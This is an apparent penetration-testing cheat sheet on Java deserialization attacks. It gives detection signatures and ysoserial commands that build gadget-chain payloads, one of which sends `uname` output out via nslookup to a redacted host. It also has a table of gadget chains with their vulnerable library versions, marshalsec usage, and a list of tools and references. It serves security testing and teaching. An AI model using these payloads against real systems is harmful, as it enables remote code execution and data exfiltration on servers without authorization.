# Java Deserialization ## Detection - "AC ED 00 05" in Hex - "rO0" in Base64 - Content-type = "application/x-java-serialized-object" - "H4sIAAAAAAAAAJ" in gzip(base64) ## Exploit [ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. ```java java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64 ``` payload | author | dependencies | impact (if not RCE) ------|--------|------ |------ BeanShell1 |@pwntester, @cschneider4711 |bsh:2.0b5 C3P0 |@mbechler |c3p0:0.9.5.2, mchange-commons-java:0.2.11 Clojure |@JackOfMostTrades |clojure:1.8.0 CommonsBeanutils1 |@frohoff |commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 CommonsCollections1 |@frohoff |commons-collections:3.1 CommonsCollections2 |@frohoff |commons-collections4:4.0 CommonsCollections3 |@frohoff |commons-collections:3.1 CommonsCollections4 |@frohoff |commons-collections4:4.0 CommonsCollections5 |@matthias_kaiser, @jasinner |commons-collections:3.1 CommonsCollections6 |@matthias_kaiser |commons-collections:3.1 FileUpload1 |@mbechler |commons-fileupload:1.3.1, commons-io:2.4 | file uploading Groovy1 |@frohoff |groovy:2.3.9 Hibernate1 |@mbechler| Hibernate2 |@mbechler| JBossInterceptors1 |@matthias_kaiser |javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 JRMPClient |@mbechler| JRMPListener |@mbechler| JSON1 |@mbechler |json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 JavassistWeld1 |@matthias_kaiser |javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 Jdk7u21 |@frohoff| Jython1 |@pwntester, @cschneider4711 |jython-standalone:2.5.2 MozillaRhino1 |@matthias_kaiser |js:1.7R2 Myfaces1 |@mbechler| Myfaces2 |@mbechler| ROME |@mbechler |rome:1.0 Spring1 |@frohoff |spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE Spring2 |@mbechler |spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 URLDNS |@gebl| | jre only vuln detect Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4 ## Burp extensions using ysoserial - [JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller) - [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) - [Burp-ysoserial](https://github.com/summitt/burp-ysoserial) - [SuperSerial](https://github.com/DirectDefense/SuperSerial) - [SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active) ## Other tools - [JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget) - [JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool - [ysoserial-modified](https://github.com/pimps/ysoserial-modified) - [gadgetprobe](https://labs.bishopfox.com/gadgetprobe) - [marshalsec](https://github.com/mbechler/marshalsec) - Turning your data into code execution ```java java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec. [-a] [-v] [-t] [ []] where -a - generates/tests all payloads for that marshaller -t - runs in test mode, unmarshalling the generated payloads after generating them. -v - verbose mode, e.g. also shows the generated payload in test mode. gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller. arguments - Gadget specific arguments ``` Payload generators for the following marshallers are included:
| Marshaller | Gadget Impact | ------------------------------- | ---------------------------------------------- | BlazeDSAMF(0|3|X) | JDK only escalation to Java serialization
various third party libraries RCEs | Hessian|Burlap | various third party RCEs | Castor | dependency library RCE | Jackson | **possible JDK only RCE**, various third party RCEs | Java | yet another third party RCE | JsonIO | **JDK only RCE** | JYAML | **JDK only RCE** | Kryo | third party RCEs | KryoAltStrategy | **JDK only RCE** | Red5AMF(0|3) | **JDK only RCE** | SnakeYAML | **JDK only RCEs** | XStream | **JDK only RCEs** | YAMLBeans | third party RCE ## References - [Github - ysoserial](https://github.com/frohoff/ysoserial) - [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md) - [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) - [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a) - [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html) - [Jackson CVE-2019-12384: anatomy of a vulnerability class](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html) - [On Jackson CVEs: Don’t Panic — Here is what you need to know](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96)